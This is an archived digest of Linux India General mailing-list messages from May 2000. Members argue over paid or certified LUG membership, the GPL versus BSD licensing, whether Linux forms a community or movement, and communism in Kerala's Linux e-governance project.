linux-india-general-owner@lists.linux-india.org Mon May 29 11:38:52 2000 Received: from inbound.satyam.net.in (unknown [202.144.76.6]) by www.aunet.org (Postfix) with ESMTP id 1836338087 for ; Mon, 29 May 2000 11:38:43 -0700 (PDT) Received: from satyam (210.214.24.216) by inbound.satyam.net.in (NPlex 4.5.051) id 39305D600002DBD0 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 18:36:08 +0000 Message-ID: <008c01bfc99d$1c2812e0$d818d6d2@satyam.net.in> From: "Soumyanath Chatterjee" To: "Linux India General" Subject: Re: Formal Member Registration Date: Tue, 30 May 2000 00:06:12 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200005/178 There is a huge pile of headers in my mailbox on the subject. Tux wants a suit in India :-) That's the image that came in my mind as I was going through the exchanges. As the discussion is really getting charged I am putting my 2p./$45 in it. First -- the issue: * Large number of members * Administrative over heads * Meeting of large number of people requires infrastructure problem Solution proposed: Membership fee -- in the same line with other professional societies. And why not --- CSI has it, IE has it, ORSI has it, INVEST has it. You name any professional society and they all have a membership fee so -- WHY NOT LUG ? I am sure many of you are also member of other so called paid member of such professional societies -- I request them to contribute what goes in those institutes. You attend some regular meeting of those societies and decide yourself - do you want LUG to be like CSI/IE et.al. Yes, I agree without formal membership and membership fees it is not possible to pull out seminar and conferences at the scale such institutions does I think instead of money LUG membership should focus on knowledge. What we can do is to have a membership process, say 1. A LUG member must be a registered Linux user. 2. Must clear some formal examination or demonstrate some proficiency in Linux This may be some free tests as available from www.brainbench.com or some formal course. 3. LUG may certify the training institutes offering Linux courses (for this a fee may be charged) 4. There may be a category of corporate members -- which can use the knowledge available with LUG for corporate gains Point 3 & 4 IMHO will take care of the LOGISTICS part. And YES, please issue ID card but only the knowledgeable lot. For squatter and bystanders who come to LUG meeting just for the free samosa and tea -- sorry! to be a LUG member you got to be using Linux. About big meeting and catering etc. one can convert them into paid seminars. That may make it more manageable. BUT paid membership for LUG is a big NO -- I don't want LUG to become APB (another professional body). - Soumya From linux-india-general-owner@lists.linux-india.org Mon May 29 11:49:03 2000 Received: from eth.net (unknown [202.9.145.19]) by www.aunet.org (Postfix) with ESMTP id 0C806380AE for ; Mon, 29 May 2000 11:48:55 -0700 (PDT) Received: from rockford.myip.org ([202.9.148.97]) by eth.net with Microsoft SMTPSVC(5.5.1877.357.35); Tue, 30 May 2000 00:17:18 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12wUX2-0000C2-00 for ; Tue, 30 May 2000 00:14:56 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 30 May 2000 00:14:55 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Community and Movement In-Reply-To: <4.2.0.58.20000529221206.009faeb0@oyemail.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14642.47310.693393.615085@rockford.myip.org> X-Archive-Number: 200005/179 Y0 31337 d00dz (tm) -- (suresh ishtyle ;) >>>>> "Udhay" == Udhay Shankar N writes: Udhay> Udhay> Nope. The right way to shut html tags are working backward. For example, if you went, then you have to shut it like so, Again, there are very many guidelines/protocol to be followed/obeyed. There *should* be only one (as few as possible) tags per single line - they should be in all CAPS ..and appropriate indentation should be done, too -- so that it looks like blah blah blah The rules are at www.htmlgoodies.com Well, you *could* say, yeah, I could write the entire html file in one line ... but the code would be _so_ freaking messy, that if you miss *one* "/" somewhere, like say with a bold , your entire document is going to look bold and its going to take centuries to trace the bug. Also, you would end up searching for the valid tags, if you do not follow different case conventions... yadayada .. more goodies at htmlgoodies.com ... where I learnt my html... The same goes with C, too -- this was atleast *one* cool thing that happened -- though my profs in school weren't exactly Kernighan/Ritchie incarnates, .. they knew where to point for extra fundas, like the right textbooks .. and like indenting/commenting appropriately so that your code becomes readable... the good old days ... :) --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Mon May 29 11:51:13 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id CA12F38087 for ; Mon, 29 May 2000 11:51:06 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-70.pppcal.vsnl.net.in [203.197.116.70]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id AAA15097 for ; Tue, 30 May 2000 00:58:23 +0530 (IST) Message-Id: <200005291928.AAA15097@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: (Was Re: Formal Member Registration) Date: Tue, 30 May 2000 00:24:21 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/180 ---------- > From: Sthitaprajna > To: linux-india-general@lists.linux-india.org > Subject: (Was Re: [LIG] Formal Member Registration) > Date: Monday, May 29, 2000 11:56 PM > > On Mon, May 29, 2000 at 01:09:58PM +0530, Indranil Das Gupta wrote: > > > GPL is bad. Sure... GPL does make things a little difficult for > > ppl/organisations trying to commercially exploit the potentials of > > Linux... > > What is wrong with "commercially trying to exploit the potential of > Linux"? I never said it was bad... I do the same all the time these day...:) > I don't see how using FreeBSD dissociates anyone from the open source > model. 99% of what you use with Linux and FBSD is the same stuff. > Both use the GNU software that comes for free. The only difference is > the kernel. You are missing the point, I was talking of the license models, and that I didn't agree to the point which Arun made about their being no community or movement. > PS: Indro, could you please set you MUA to wrap long lines, to > something like 72-76 chars. My prog here has problems handling the > loooong lines;-) you are a fine one to talk... after all that talk of chosing and using a s/w that does the job best should be the proper criteria, u ask me to set __my__ MUA!!!??? ;-) anyway consider it done *grins* cheers, --Indra. From linux-india-general-owner@lists.linux-india.org Mon May 29 11:51:50 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 662323811F for ; Mon, 29 May 2000 11:51:41 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-70.pppcal.vsnl.net.in [203.197.116.70]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id AAA14966 for ; Tue, 30 May 2000 00:58:54 +0530 (IST) Message-Id: <200005291928.AAA14966@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: What is Linux ? (Was Re: Formal Member Registration) Date: Tue, 30 May 2000 00:24:43 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/181 Arun, I happen to feel comfortable with GPL and you don't.... I believe there is a community and movement while you clearly don't.... the bottomline is that both of us are pretty fixed in what we believe, and are unlikely to change each other's opinion... However, saying that too much of community focus breeds s/w bigotry is a little over the top in IMHO. My personal beliefs apart, as a member of a consulting group with its core strength in Open Source products, my team-mates and I often select non-Linux/non-GPLed, even proprietory license based products/solutions when they are needed to serve a particular client requirement better than Linux or GPLed s/w could. We don't feel that we are betraying the movement, rather that we are selecting whatever fits best in the said situation... you know... one man's meat can be another man's poison ;-) GPL is about all equal opportunity, in some ways it creates a truly "level-playing-field" (perhaps another oft-repeated "theme" that you may find objectable :^) for all concerned, where the best get to score the goals and be recognised as such for their merit/talent... On one hand, we say that we are living in a knowledge-based society, on the other we try to lock away the same knowledge under the guise of protecting Intellectual Property rights and ludicrous patents (remember what Amazon.com tried to pull off?). No one in the so-called "civilised world" deny a man's basic right to breathe the air or earn an honest living to support himself/family. Without even a guarantee to a Minimum access to information technology we might be endangering that right of every man in what is shaping up as a knowledge-based society. Without things like GPL, acting as safe-guards we are likely to be left at the small mercies of the proprietory heavy-weights where fiascos like the M$-Kerberos are prime examples. I am not saying that everything should be free or be forced to made free (by the US DoJ perhaps?? ;^)... however, GPL provides us with an option that protects our freedom to hack, our freedom to chose what we can do with a given piece of s/w... it is __only__ realistic that if we are to ask for this freedom, we have to ensure that this right is protected for others... GPL is not a liability or excess baggage that is dragging us down, GPL is our collective global responsibility. regards, --Indra. From linux-india-general-owner@lists.linux-india.org Mon May 29 12:02:42 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id DFB2F380CD for ; Mon, 29 May 2000 12:02:32 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-70.pppcal.vsnl.net.in [203.197.116.70]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id BAA15591 for ; Tue, 30 May 2000 01:09:49 +0530 (IST) Message-Id: <200005291939.BAA15591@cal.vsnl.net.in> From: "Indranil Das Gupta" To: "Linux India General" Subject: Re: Formal Member Registration Date: Tue, 30 May 2000 00:35:47 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/182 hi, > From: Soumyanath Chatterjee > To: Linux India General > Subject: Re: [LIG] Formal Member Registration > Date: Tuesday, May 30, 2000 12:06 AM > > You name any professional society and they all have a membership fee so -- > WHY NOT LUG ? Is a LUG really a professional society??? > 1. A LUG member must be a registered Linux user. Not all linux users are likely to have access to the Net... hence unsuitable, besides it has to be voluntary decision on part of the user should s/he choose to do so... > 2. Must clear some formal examination or demonstrate some proficiency in > Linux Do this... you take away all the fun.... remember LUGs are very much about advocacy, it means a large number of newbies and people with varying levels expertise, interest and experience... hence this is clearly unacceptable... > 3. LUG may certify the training institutes offering Linux courses (for this > a fee may be charged) > 4. There may be a category of corporate members -- which can use the > knowledge available with LUG for corporate gains "Corporate gains" sounds suspicious to me... the LUG is not there to sell services to corporates, neither can it be a source of cheap expertise for corporates who would otherwise have to pay for the consultation at industry average rates. > BUT paid membership for LUG is a big NO -- I don't want LUG to become APB > (another professional body). Now you really have me confused.....!!!! ;-) --Indra. From linux-india-general-owner@lists.linux-india.org Mon May 29 12:13:36 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 470E0380C7 for ; Mon, 29 May 2000 12:13:31 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id MAA06736 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 12:13:17 -0700 Date: Mon, 29 May 2000 12:13:16 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: What is Linux ? (Was Re: Formal Member Registration) Message-ID: <20000529121316.A6681@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200005291928.AAA14966@cal.vsnl.net.in>; from Indranil Das Gupta on Tue, May 30, 2000 at 12:24:43AM +0530 X-Archive-Number: 200005/183 On Tue, May 30, 2000 at 12:24:43AM +0530, Indranil Das Gupta wrote: Indranil, > My personal beliefs apart, as a member of a consulting group with its > core strength in Open Source products, my team-mates and I often select > non-Linux/non-GPLed, even proprietory license based products/solutions > when they are needed to serve a particular client requirement better > than Linux or GPLed s/w could. We don't feel that we are betraying > the movement, I hope you realize that there is a contradiction between your beliefs (if you understand what GPL is about) and your actions. You probably spend more time consulting about non-GPL'ed software (apache, sendmail, X, perl etc) than GPL'ed software (Linux kernel, gcc, emacs, gdb). But you somehow believe that "Linux" is all about GPL. -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 12:19:28 2000 Received: from eth.net (unknown [202.9.145.19]) by www.aunet.org (Postfix) with ESMTP id 57B1A38104 for ; Mon, 29 May 2000 12:19:20 -0700 (PDT) Received: from rockford.myip.org ([202.9.148.97]) by eth.net with Microsoft SMTPSVC(5.5.1877.357.35); Tue, 30 May 2000 00:47:50 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12wV0Y-0000D2-00; Tue, 30 May 2000 00:45:26 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 30 May 2000 00:45:25 +0530 (IST) To: linux-india-general@lists.linux-india.org Cc: "Soumyanath Chatterjee" Subject: Re: Formal Member Registration In-Reply-To: <008c01bfc99d$1c2812e0$d818d6d2@satyam.net.in> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14642.48235.573306.857314@rockford.myip.org> X-Archive-Number: 200005/184 Hi, >>>>> "Soumyanath" == Soumyanath Chatterjee writes: Soumyanath> And why not --- CSI has it, IE has it, ORSI has it, Soumyanath> INVEST has it. You name any professional society and What are all these socities anyway? I know that CSI == computer society of india or somesuch... but the rest? Soumyanath> I think instead of money LUG membership should focus Soumyanath> on knowledge. Soumyanath> 1. A LUG member must be a registered Linux user. As in? At linux.{com|org} ? Get himself a "registered linux user # ? Of what use is this? *anybody* can get this -- and it hence defeats your statement/purpose of getting only "knowledgeable" people in the fray. Soumyanath> 2. Must clear some formal examination or demonstrate Soumyanath> some proficiency in Linux This may be some free tests I *strongly* oppose this -- face it, we all know who the gurus are, at our local LUGs -- must we make it *obvious* and harrassing/uncomfortable to everybody by doing this? I can see this happening,.... (humourous) situation 1: "hey dude, help me with bar" whats your skill level? 3.42 you suck -- I got 4.x -- you're too dumb for me. (humourous) situation 2: "hey dude, help me with bar" whats your skill level? 3.42 what? I have only 2.43 but i happen to know more about bar than you do -- the certification sucks! [ note: read the complete email and come back to this bit ] the certification sucks, and the guys that chose to "certify" $training-institute suck! I rule! the LUG sucks! [/note] What gives? Well, I know people are gonna say stuff like, "hey, we're civilized, blah blah and this isn't going to happen in *our* lug" .... if that isn't going to happen, why force people into doing all this? Soumyanath> as available from www.brainbench.com or some formal brainbench's certification method sucks. okay, with a choice between no certification and free lousy certification, many of us are lead to the latter ... the guys have a great idea going,.. I love the concept of keeping certification, *.edu related stuff free ... *BUT* the *way* in which their exam(s) are conducted sucks. My personal cribs (sent in a mail to admin of brainbench, too): 1] 40 questions is *NOWHERE* **NEAR** enough to prove a guy's ability. 2] Questions are not based on categories wide enough -- in the Linux administrator test .. there were like 4 questions on GPL that I answered ... 10% of the questions on "knowing the GPL" makes me a great sys admin? hell no... *I* disagree ... you don't have to even know what a license is,.. but be great with *configuring* apache/whatever ... you might not be the "ideal" or a "knowledgeable" sys admin ... but if you are going in for *certification* .. its for the $$$ and for *commercialisation* .. which brings in the concept of *productivity* and *efficiency* ... and IMHO, a sys admin who doesn't know what the GPL is can function with greater ease (!) 3] the questions are too weird/OT/easy .. Soumyanath> course. 3. LUG may certify the training institutes Soumyanath> offering Linux courses (for this a fee may be charged) Again, this decides, "who *inside* the lug will comprise of the commitee that decides where $training-institute is to be certified" ? will you say, 1] the guy with max. score on brainbench (which, imho is not a true representation of your skillset) is going to head it? 2] the richest guy, without whom the lug *could* theoritically die? 3] the most interested/enthu guy in the lug? Why all this *NEEDLESS* commercialisation/formalisation ?!?! Who cares if $institute is good/bad ? I don't understand this , at all.. Soumyanath> 4. There may be a category of corporate members -- Soumyanath> which can use the knowledge available with LUG for Soumyanath> corporate gains Soumyanath> Point 3 & 4 IMHO will take care of the LOGISTICS part. Soumyanath> And YES, please issue ID card but only the Soumyanath> knowledgeable lot. Yeah, what about the enthu lot, without knowledge, but wanting to learn? What about newbies? What about me?!?! Soumyanath> For squatter and bystanders who Soumyanath> come to LUG meeting just for the free samosa and tea Soumyanath> -- sorry! to be a LUG member you got to be using Soumyanath> Linux. We don't get free samosa/tea at our LUG. And no, we have people who use *only* BSD who come to our LUG -- they're usually the guys who give out lectures too... so we kick 'em out 'cause they aren't using Linux? :) We have some very knowledgeable people who (these days) use *only* windows, too .. --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Mon May 29 13:18:39 2000 Received: from pes.edu (unknown [202.54.85.50]) by www.aunet.org (Postfix) with ESMTP id 3869338075 for ; Mon, 29 May 2000 13:18:29 -0700 (PDT) Received: from localhost (omicron@localhost) by pes.edu (8.9.3/8.9.3) with ESMTP id BAA08351 for ; Tue, 30 May 2000 01:52:09 +0530 Date: Tue, 30 May 2000 01:52:09 +0530 (IST) From: Sridhar To: linux-india-general@lists.linux-india.org Subject: Formal Membership Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/185 Hi Atul waht u said on saturday evening made sense but now i'm not so sure. What happens if 200 out of 300 register and only 50 attend. Bye cheedu -- Domain name : cheedu.dyndns.org From linux-india-general-owner@lists.linux-india.org Mon May 29 14:11:19 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 53AD538093 for ; Mon, 29 May 2000 14:11:13 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e4TL7LC11949 for ; Mon, 29 May 2000 14:07:21 -0700 (PDT) Received: from netscape.com ([206.222.244.65]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FVCAUN00.GYB for ; Mon, 29 May 2000 14:11:12 -0700 Message-ID: <3932DB73.9AD08D6C@netscape.com> Date: Mon, 29 May 2000 14:04:51 -0700 From: thaths@netscape.com (Sudhakar Chandrasekharan) X-Mailer: Mozilla 4.73 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: Linux India General Subject: Re: Kerala evolving new vistas in e-governance Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/186 Arun Sharma wrote: > First it was China, now it's Kerala. I'm not trying to sound cynical > here. But the obvious communist influence is not to be missed. The communism in Kerala is different from the one in China. China (I must confess that I've been to China once - that too a remote part of it for half a day) is a dictatorship. Kerala (where I've been umpteen times) is a thriving democracy. The various communist parties in Kerala are not communist in the typical sense of the word. Communism in Kerala is seen as a way of improving the worker's life. Even the Congress party is part of a communist alliance (not with the Marxists) in Kerala. Kerala is one of those places where communism and religion are not mutually exclusive. > I don't believe that communism is completely evil. But a lot of people > I've chatted with on the net, do. Then again, quite a few people on the net consider the free market economy to be equally evil. > And they argue that Linux and GPL > have nothing to do with communism, because they are all about "freedom" > and one can't talk about freedom and communism in the same sentence. Communism, as practiced by China, N.Korea, Cuba etc. might be against freedom. But there are quite a few democratic socialistic / communist parts of the world where freedom is compatible with freedom and the government - Finland, Sweden, W.Bengal and Kerala, just to name a few. If we are to be made uncomfortable whenever the 'C' word is mentioned in the same sentence as the GPL, we should equally be uncomfortable when the GPL is mentioned in the same sentence as Libertarianism and the free market economy. Whatever the form of government, Linux and other free (as in zero cost /and/ freedom) software are tools in making computers more affordable and better for individuals, governments /and/ corporations. Thaths From linux-india-general-owner@lists.linux-india.org Mon May 29 14:17:06 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 8478F380AC for ; Mon, 29 May 2000 14:16:59 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-104.pppcal.vsnl.net.in [203.197.116.104]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id DAA20182 for ; Tue, 30 May 2000 03:24:16 +0530 (IST) Message-Id: <200005292154.DAA20182@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Bigotry ?? [was --> Re: What is Linux ?] Date: Tue, 30 May 2000 02:50:14 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/187 Arun, No, that would be like taking my comment out of the context as I had tried to put it.... what was meant was that while my personal work is usually quite well served by Linux and associated non-GPLed s/w and despite my belief in the valid requirement for GPL, I neither act as a fanatic or have I become a bigot in the sense that GPL should be the only way to go for __everyone__ concerned, as you seemed to suggest will be the outcome of focussing too much on the "community" aspect of Linux... In recent months you have often repeated that you felt more comfortable with FreeBSD. IIRC, none of the people on LI who feel strongly about GPL and the OpenSource movement have ever raised any objection/question about the suitability of your choice as all these people are inherently pro-choice. Our differences have been w.r.t. interpretation of GPL, its application and effects... we have not condemned your choice (not that you have condemned ours, there never has been any occasion), and yet you say that by insisting on belonging to a community we -- the users, become bigots???? (Had I not known better I would have definitely thought your mails to be anti-GPL FUD ;-) --Indra. ---------- > From: Arun Sharma > To: linux-india-general@lists.linux-india.org > Subject: Re: What is Linux ? (Was Re: [LIG] Formal Member Registration) > Date: Tuesday, May 30, 2000 12:43 AM > > On Tue, May 30, 2000 at 12:24:43AM +0530, Indranil Das Gupta wrote: > > Indranil, > > > My personal beliefs apart, as a member of a consulting group with its > > core strength in Open Source products, my team-mates and I often select > > non-Linux/non-GPLed, even proprietory license based products/solutions > > when they are needed to serve a particular client requirement better > > than Linux or GPLed s/w could. We don't feel that we are betraying > > the movement, > > I hope you realize that there is a contradiction between your beliefs > (if you understand what GPL is about) and your actions. You probably > spend more time consulting about non-GPL'ed software (apache, sendmail, > X, perl etc) than GPL'ed software (Linux kernel, gcc, emacs, gdb). But > you somehow believe that "Linux" is all about GPL. From linux-india-general-owner@lists.linux-india.org Mon May 29 14:39:56 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id D17AE380AC for ; Mon, 29 May 2000 14:39:48 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id OAA06993 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 14:39:35 -0700 Date: Mon, 29 May 2000 14:39:35 -0700 From: Arun Sharma To: Linux India General Subject: Re: Kerala evolving new vistas in e-governance Message-ID: <20000529143935.A6971@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <3932DB73.9AD08D6C@netscape.com>; from Sudhakar Chandrasekharan on Mon, May 29, 2000 at 02:04:51PM -0700 X-Archive-Number: 200005/188 On Mon, May 29, 2000 at 02:04:51PM -0700, Sudhakar Chandrasekharan wrote: > The communism in Kerala is different from the one in China. China (I > must confess that I've been to China once - that too a remote part of it > for half a day) is a dictatorship. Kerala (where I've been umpteen > times) is a thriving democracy. If you followed the URL that I posted in previous mail, this is exactly what I said and argued that the closest political analogy to GNU/GPL is communism within a democracy. I don't call it evil, but it could be unproductive. Note the lack of any industries in Kerala and the migration of the population to the gulf, bangalore, bombay and other places where the industry is thriving. > > I don't believe that communism is completely evil. But a lot of people > > I've chatted with on the net, do. > > Then again, quite a few people on the net consider the free market > economy to be equally evil. I don't come across these people - probably because the Americans have a majority on these mailing lists and they have their prejudices about the C-word. > Communism, as practiced by China, N.Korea, Cuba etc. might be against > freedom. But there are quite a few democratic socialistic / communist > parts of the world where freedom is compatible with freedom and the > government - Finland, Sweden, W.Bengal and Kerala, just to name a few. Exactly my point. Thanks for the note about Finland. I didn't know about the Socialist leanings of both Finland and Sweden. (Those who didn't know, Linus has a Swedish descent, but lived in Finland). http://www.odci.gov/cia/publications/factbook/fi.html > Whatever the form of government, Linux and other free (as in zero cost > /and/ freedom) software are tools in making computers more affordable > and better for individuals, governments /and/ corporations. No doubt about it. Open source and low cost, stable software is the high bit. All the other differences are less significant in the big picture, but are significant when you consider the linux eco-system alone. -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 15:19:31 2000 Received: from md3.vsnl.net.in (md3.vsnl.net.in [202.54.6.35]) by www.aunet.org (Postfix) with ESMTP id 0A9A9380AC for ; Mon, 29 May 2000 15:19:24 -0700 (PDT) Received: from vsnl.com ([210.212.246.121]) by md3.vsnl.net.in (8.9.3/8.9.3) with ESMTP id DAA19749 for ; Tue, 30 May 2000 03:46:30 +0530 (IST) Message-ID: <3932449E.5F0064D7@vsnl.com> Date: Mon, 29 May 2000 15:51:18 +0530 From: Rajeev Organization: Limited Unlimited X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: LIG Subject: Re: Kerala evolving new vistas in e-governance Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/189 Arun Sharma wrote: > First it was China, now it's Kerala. I'm not trying to sound cynical > here. But the obvious communist influence is not to be missed. Its hard to be a cynic these days! Now, here was a poor soul posting about one of the very first projects in e-governence the Linux way, in this part of the world. Somebody,instead of offering a decent well studied criticism, just took time off his busy schedule to *troll* about the importance of not missing the communist angle. If you dont care about General issues *concerning* Linux please feel free to drop out of LIG. May i suggest Linux-India-Commie-Bashing at this point ? We would all like to stamp out noise levels on this list I know of some of my friends who have been associated with this particular project. They took time off their busy Sems to prove a point or two in implementing Linux solutions.They did a great service to the 'community' (which Arun claims not to be part of any way..) As for the rest of the community, /we are like this only../ > I don't believe that communism is completely evil. But a lot of people > I've chatted with on the net, do. And they argue that Linux and GPL > have nothing to do with communism, because they are all about "freedom" > and one can't talk about freedom and communism in the same sentence. I distinctly remember Atul complaining about ramming opinions down others throats. I am inclined to agree. Feynman says "What do you care other people think?" More importantly if it aint yours, why post'em? > > The project which is now getting a close look from the State Planning > Board is touted to be a perfect `Kerala Model' just like the one in > social development which is characterised by low GDP, but high quality > of life indices and acclaimed the world over. > > I normally try not to bring in the "C" word into the discussion, as it > quickly degenerates from that point. Hopefully not this time ? What can i say? In one sweep Arun dodges the entire debate and makes me feel guilty about trolling. Free speech ? as one may wonder. - Rajeev *seen last running over to the grand jury and screaming wildly " Mea culpa! Mea Culpa! Ur Honor! i promise my X-Mailer shall be sober tomorrow" * --- *Free* not by chance, but by choice. From linux-india-general-owner@lists.linux-india.org Mon May 29 18:38:35 2000 Received: from mailinx.nettlinx.com (unknown [202.53.64.197]) by www.aunet.org (Postfix) with ESMTP id 5C18E380AC for ; Mon, 29 May 2000 18:38:27 -0700 (PDT) Received: from frodo.kcircle.com ([202.53.65.26]) by mailinx.nettlinx.com (Netscape Messaging Server 4.01) with SMTP id FVDGJS00.FVF; Tue, 30 May 2000 07:11:52 -0500 Received: (from r.suresh@localhost) by frodo.kcircle.com (8.10.0/8.10.0) id e4U1g5t00636; Tue, 30 May 2000 07:12:05 +0530 X-Authentication-Warning: frodo.kcircle.com: r.suresh set sender to sureshr@staff.juno.com using -f Date: Tue, 30 May 2000 07:12:05 +0530 From: Suresh Ramasubramanian To: Arun Sharma Cc: Linux India General Subject: Re: Formal Member Registration Message-ID: <20000530071205.A626@staff.juno.com> Mail-Followup-To: Suresh Ramasubramanian , Arun Sharma , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000529100839.C6104@sharmas.dhs.org>; from adsharma@sharmas.dhs.org on Mon, May 29, 2000 at 10:08:39AM -0700 Organization: Juno Abuse Desk X-Spammers: You spamma my mailbox I nukea da ass X-Linux: Linux 2.2.12-20 X-Archive-Number: 200005/190 Arun Sharma saw fit to inform LI that: >On a personal note, I've spent a year at one of Sri Ramakrishna Mission >schools. I like some of his agnostic thoughts, but I think religion has >brought more misery to people than good. > >Therefore, I advocate less religion rather than more. Religion was born when the first fool met the first charlatan Francois Marie Arouet (Voltaire) -- Suresh Ramasubramanian + sureshr@staff.juno.com Equal bytes for women. From linux-india-general-owner@lists.linux-india.org Mon May 29 20:54:00 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 4FDCB380E2 for ; Mon, 29 May 2000 20:53:55 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id UAA08776 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 20:53:41 -0700 Date: Mon, 29 May 2000 20:53:41 -0700 From: Arun Sharma To: LIG Subject: Re: Kerala evolving new vistas in e-governance Message-ID: <20000529205341.A8346@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <3932449E.5F0064D7@vsnl.com>; from Rajeev on Mon, May 29, 2000 at 03:51:18PM +0530 X-Archive-Number: 200005/191 On Mon, May 29, 2000 at 03:51:18PM +0530, Rajeev wrote: > Now, here was a poor soul posting about one of the very > first projects in e-governence the Linux way, in this part of the world. > Somebody,instead of offering a decent well studied criticism, I wasn't trying to criticize the project. They absolutely did a good thing by reducing the costs of the government. We need more of those. > just took time off his busy schedule to *troll* about the importance > of not missing the communist angle. Your opinion. > If you dont care about General issues *concerning* Linux please feel > free to drop out of LIG. What is your point ? 1. This is not a general issue 2. This has nothing to do with Linux 3. You can't stand my opinions, so you want me out of LIG. > May i suggest Linux-India-Commie-Bashing at this point ? We would all > like to stamp out noise levels on this list Sorry, what part of it was commie bashing ? I thought I used the C-word carefully. > As for the rest of the community, /we are like this only../ Perhaps a little bit of tolerance would help ? I realize that by arguing against the "community", I'm actually strengthening it. The more you're threatened (not physically), the stronger you huddle. However, my goal is not to "win" the argument or become the leader of the masses. I realize that my opinions are unpopular among some of you and I'm ready to live with it. I hope I can expect the same from you. > What can i say? > In one sweep Arun dodges the entire debate and makes me feel > guilty about trolling. May be you can enlighten me about what the entire debate is about ? -Arun From linux-india-general-owner@lists.linux-india.org Mon May 29 21:57:33 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id A7E98380A8 for ; Mon, 